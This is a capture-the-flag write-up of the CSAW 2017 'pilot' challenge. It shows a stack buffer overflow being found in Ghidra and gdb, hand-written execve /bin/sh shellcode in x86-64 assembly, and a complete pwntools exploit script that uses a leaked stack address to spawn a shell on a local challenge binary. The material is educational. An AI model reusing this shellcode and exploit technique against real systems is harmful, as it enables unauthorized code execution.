[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/csaw17_pilot/pilot
--2021-03-01 14:32:43-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/csaw17_pilot/pilot
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/csaw17_pilot/pilot [following]
--2021-03-01 14:32:44-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/csaw17_pilot/pilot
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10472 (10K) [application/octet-stream]
Saving to: ‘pilot’
pilot 100%[=================================================================>] 10.23K --.-KB/s in 0.002s
2021-03-01 14:32:44 (5.39 MB/s) - ‘pilot’ saved [10472/10472]
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ file pilot
pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ chmod +x pilot
First let's run the binary to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffee9a9c6c0
[*]Command:ls
[*]There are no commands....
[*]Mission Failed....
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffeeecbfee0
[*]Command:help
The binary basically prints out text with an interesting 'location' memory address, then we enter a command and either it gives us 'mission failed' or it might give us something else. Let's inspect it in ghidra:
Now unlike the previous challenges, the main function called isn't called 'main' instead it is called 'FUN_004009a6'. Now let's inspect the parts of the code that are interesting:
sVar2 = read(0,local_28,0x40);
Now here we can see that it scans 0x40 bytes worth of input into the local_28 variable and this variable can only hold 32 bytes worth of input, so this is a buffer overflow vulnerability. The address that is being printed is an infoleak for the start of our input in memory on the stack:
Now that we know that our local input variable is local_28 let's look at the stack layout in ghidra:
**************************************************************
* FUNCTION *
**************************************************************
undefined FUN_004009a6()
undefined AL:1 <RETURN>
undefined1 Stack[-0x28]:1 local_28 XREF[2]: 00400aa4(*),
00400acf(*)
FUN_004009a6 XREF[4]: entry:004008cd(*),
entry:004008cd(*), 00400de0,
00400e80(*)
004009a6 55 PUSH RBP
Here we don't see anything between the start of our input and the return address, so this means that we should be able to use the overflow vulnerability to overwrite the return address to get code execution. so let's inspect that from gdb, we will set a breakpoint right after the read call, and look at the memory there:
00400ae0 e8 3b fd CALL read ssize_t read(int __fd, void * __
ff ff
00400ae5 48 83 f8 04 CMP RAX,0x4
The breakpoint will be at 0x00400ae5 because it's right after the read call:
[ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/pilot]
→ gdb ./pilot
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./pilot...
(No debugging symbols found in ./pilot)
gef➤ b *0x400ae5
Breakpoint 1 at 0x400ae5
gef➤ r
Starting program: /home/nothing/binexp/2/pilot/pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7fffffffdf30
[*]Command:13371337
Breakpoint 1, 0x0000000000400ae5 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x9
$rbx : 0x0000000000400b90 → push r15
$rcx : 0x00007ffff7ce0052 → 0x5677fffff0003d48 ("H="?)
$rdx : 0x40
$rsp : 0x00007fffffffdf30 → 0x3733333137333331 ("13371337"?)
$rbp : 0x00007fffffffdf50 → 0x0000000000000000
$rsi : 0x00007fffffffdf30 → 0x3733333137333331 ("13371337"?)
$rdi : 0x0
$rip : 0x0000000000400ae5 → cmp rax, 0x4
$r8 : 0xb
$r9 : 0x00007fffffffdd00 → 0x0000000000000000
$r10 : 0xfffffffffffff61c
$r11 : 0x246
$r12 : 0x00000000004008b0 → xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf30│+0x0000: 0x3733333137333331 ← $rsp, $rsi
0x00007fffffffdf38│+0x0008: 0x000000000040080a → add cl, ch
0x00007fffffffdf40│+0x0010: 0x00007fffffffe040 → 0x0000000000000001
0x00007fffffffdf48│+0x0018: 0x0000000000000000
0x00007fffffffdf50│+0x0020: 0x0000000000000000 ← $rbp
0x00007fffffffdf58│+0x0028: 0x00007ffff7c17b25 → <__libc_start_main+213> mov edi, eax
0x00007fffffffdf60│+0x0030: 0x00007fffffffe048 → 0x00007fffffffe362 → "/home/nothing/binexp/2/pilot/pilot"
0x00007fffffffdf68│+0x0038: 0x00000001000011bf
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400ad8 mov rsi, rax
0x400adb mov edi, 0x0
0x400ae0 call 0x400820
●→ 0x400ae5 cmp rax, 0x4
0x400ae9 setle al
0x400aec test al, al
0x400aee je 0x400b2f
0x400af0 mov esi, 0x400d90
0x400af5 mov edi, 0x6020a0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pilot", stopped 0x400ae5 in ?? (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400ae5 → cmp rax, 0x4
[#1] 0x7ffff7c17b25 → __libc_start_main()
[#2] 0x4008d9 → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
So now we set the breakpoint where we wanted, then ran the binary, put in a simple pattern '13371337' and then we hit our breakpoint. Now let's search for our pattern in memory as well as the address of the return address:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
0x7fffffffdf30 - 0x7fffffffdf38 → "13371337[...]"
gef➤ i f
Stack level 0, frame at 0x7fffffffdf60:
rip = 0x400ae5; saved rip = 0x7ffff7c17b25
called by frame at 0x7fffffffe030
Arglist at 0x7fffffffdf28, args:
Locals at 0x7fffffffdf28, Previous frame's sp is 0x7fffffffdf60
Saved registers:
rbp at 0x7fffffffdf50, rip at 0x7fffffffdf58
Now we see that our pattern is located at 0x7fffffffdf30, and the return address is at 0x7fffffffdf58 so let's calculate the offset in python3:
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0x7fffffffdf30 - 0x7fffffffdf58 )
'-0x28'
And here we see that we have a 0x28 bytes offset. So our goal here is to create a payload that will first fill the 0x28 offset with nullbytes (\x00) and then we will be able to overwrite the return address, however we must keep in mind that the Location of the pattern changes each time, so we need a way to get it no matter how it changes:
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot | grep Location
[*]Location:0x7ffdc6df25c0
^C
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot | grep Location
[*]Location:0x7ffca4cfcef0
^C
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot | grep Location
[*]Location:0x7ffdaad8fc90
^C
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot | grep Location
[*]Location:0x7ffed0e90200
So let's begin to write our python3 exploit:
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ vim exploit.py
from pwn import *
target = process('./pilot')
#print the output text until the 'Location:' part
print(target.recvuntil("[*]Location:"))
#right after the 'Location:' part, is the memory address of our input
leak = target.recvline()
inputAdr = int(leak.strip(b"\n"), 16)
#store the memory address until the newline character (16 characters)
print(inputAdr)
payload = ""
Now here we have the variable called 'inputAddr' that is the memory address of our input. Now we need to put in shellcode in the payload, the first 2 writeups of this challenge that i found werent explaining the source of the shellcode that was found, but thankfully there was a writeup that explained it here:
" We know that the target is a 64-bit Linux (ELF) binary (as per the ‘file’ output), so why not provide shellcode that executes /bin/sh and drop us into a shell on the host running ‘pilot’? NYU’s Offensive Security, Incident Response and Internet Security Laboratory (OSIRIS Lab) was kind enough to open source an entire repository of shellcode written by NYU students. Browsing through this repository, we come across a directory containing shellcode designed to achieve our goal - 64-bit local /bin/sh. [...] This will be our shellcode that executes /bin/sh to drop us into a shell on the target system."
So we could clone the repository locally and generate the shellcode ourselves aswell, but we can also pick a 64bit /bin/sh shellcode from shell-storm.org and just copy paste it. Or we could also contruct our own shellcode instead, this is better because that way we know what the source assembly code is, and we compile the shellcode ourselves::
[ 192.168.0.18/24 ] [ /dev/pts/55 ] [binexp/2/pilot]
→ vim 7.asm
section .text
global _start
_start:
xor esi, esi ; xor out esi and edx
xor edx, edx
push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59)
pop rax ;take the out the top of the stack to put it into rax
mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx
push rsi
push rbx
mov rdi, rsp
syscall
Now let's compile it and test it:
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ nasm -f elf64 7.asm
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ ld 7.o -o 7
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ ./7
[ 192.168.100.1/24 ] [ /dev/pts/7 ] [/home/nothing/binexp/2/pilot]
→ echo $0
bash
[ 192.168.100.1/24 ] [ /dev/pts/7 ] [/home/nothing/binexp/2/pilot]
→ exit
exit
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ echo $0
/bin/zsh
And we see that it enables us to switch from zsh to bash! now let's make shellcode out of it after we adjust the assembly file:
[bits 64]
xor esi, esi ; xor out esi and edx
xor edx, edx
push 0x3b ;push the value of the syscall id onto the stack (0x3b is 59)
pop rax ;take the out the top of the stack to put it into rax
mov rbx, 0x68732f2f6e69622f ; put the little endian hex val of '/bin//sh' into rbx
push rsi ; push the value of rsi
push rbx ; push the value of rbx
mov rdi, rsp ; move the value of rsp ( ) into rdi (first arguement)
syscall
Now let's compile it:
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ nasm -f bin 7.asm -o shellcode
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ cat shellcode
11j;XH/bin//shVSH%
Now let's view it inside of python exploit script:
from pwn import *
#read the shellcode file we compiled
with open('shellcode', 'rb') as f:
shellcode = f.read()
#initialize the payload
payload = b""
payload += shellcode
print(payload)
print(hexdump(payload))
Now let's test our script:
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ python3 exploit.py
b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05'
00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│
00000010 68 56 53 48 89 e7 0f 05 │hVSH│····│
00000018
Now let's make the full payload and view the hexdump of it:
from pwn import *
target = process('./pilot')
#print the output text until the 'Location:' part
print(target.recvuntil("[*]Location:"))
#right after the 'Location:' part, is the memory address of our input
leak = target.recvline()
inputAdr = int(leak.strip(b"\n"), 16)
#store the memory address until the newline character (16 characters)
print(inputAdr)
with open('shellcode', 'rb') as f:
shellcode = f.read()
#initialize the payload
payload = b""
#add the shellcode to the payload this is 21 bytes long or 0x15 in hexa
payload += shellcode
#add the remaining required padding to the payload so that it attains the 0x28 size (thanks to added nullbytes)
payload += b"\x00" * (0x28 - len(payload))
#overwrite the return address with the address of the start of our input
payload += p64(inputAdr)
print(payload)
print(hexdump(payload))
The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ python3 exploit.py
[+] Starting local process './pilot': pid 2235412
b'[*]Welcome DropShip Pilot...\n[*]I am your assitant A.I....\n[*]I will be guiding you through the tutorial....\n[*]As a first step, lets learn how to land at the designated location....\n[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n[*]Good Luck Pilot!....\n[*]Location:'
140732702676240
b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10U\xc0\xe2\xfe\x7f\x00\x00'
00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│
00000010 68 56 53 48 89 e7 0f 05 00 00 00 00 00 00 00 00 │hVSH│····│····│····│
00000020 00 00 00 00 00 00 00 00 10 55 c0 e2 fe 7f 00 00 │····│····│·U··│····│
00000030
Now that we have our payload, we send the payload to the binary file with the following last 2 lines :
target.send(payload)
target.interactive()
[ 192.168.0.18/24 ] [ /dev/pts/7 ] [binexp/2/pilot]
→ python3 exploit.py
[+] Starting local process './pilot': pid 2248247
b'[*]Welcome DropShip Pilot...\n[*]I am your assitant A.I....\n[*]I will be guiding you through the tutorial....\n[*]As a first step, lets learn how to land at the designated location....\n[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n[*]Good Luck Pilot!....\n[*]Location:'
140730313557488
b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0EYT\xfe\x7f\x00\x00'
00000000 31 f6 31 d2 6a 3b 58 48 bb 2f 62 69 6e 2f 2f 73 │1·1·│j;XH│·/bi│n//s│
00000010 68 56 53 48 89 e7 0f 05 00 00 00 00 00 00 00 00 │hVSH│····│····│····│
00000020 00 00 00 00 00 00 00 00 f0 45 59 54 fe 7f 00 00 │····│····│·EYT│····│
00000030
[*] Switching to interactive mode
[*]Command:$ cat flag.txt
flag{g0ttem_b0yz}
$ exit
[*] Got EOF while reading in interactive
$ exit
[*] Process './pilot' stopped with exit code 0 (pid 2248247)
[*] Got EOF while sending in interactive
And that's it! we have been able to spawn a shell and print out the flag.
text
text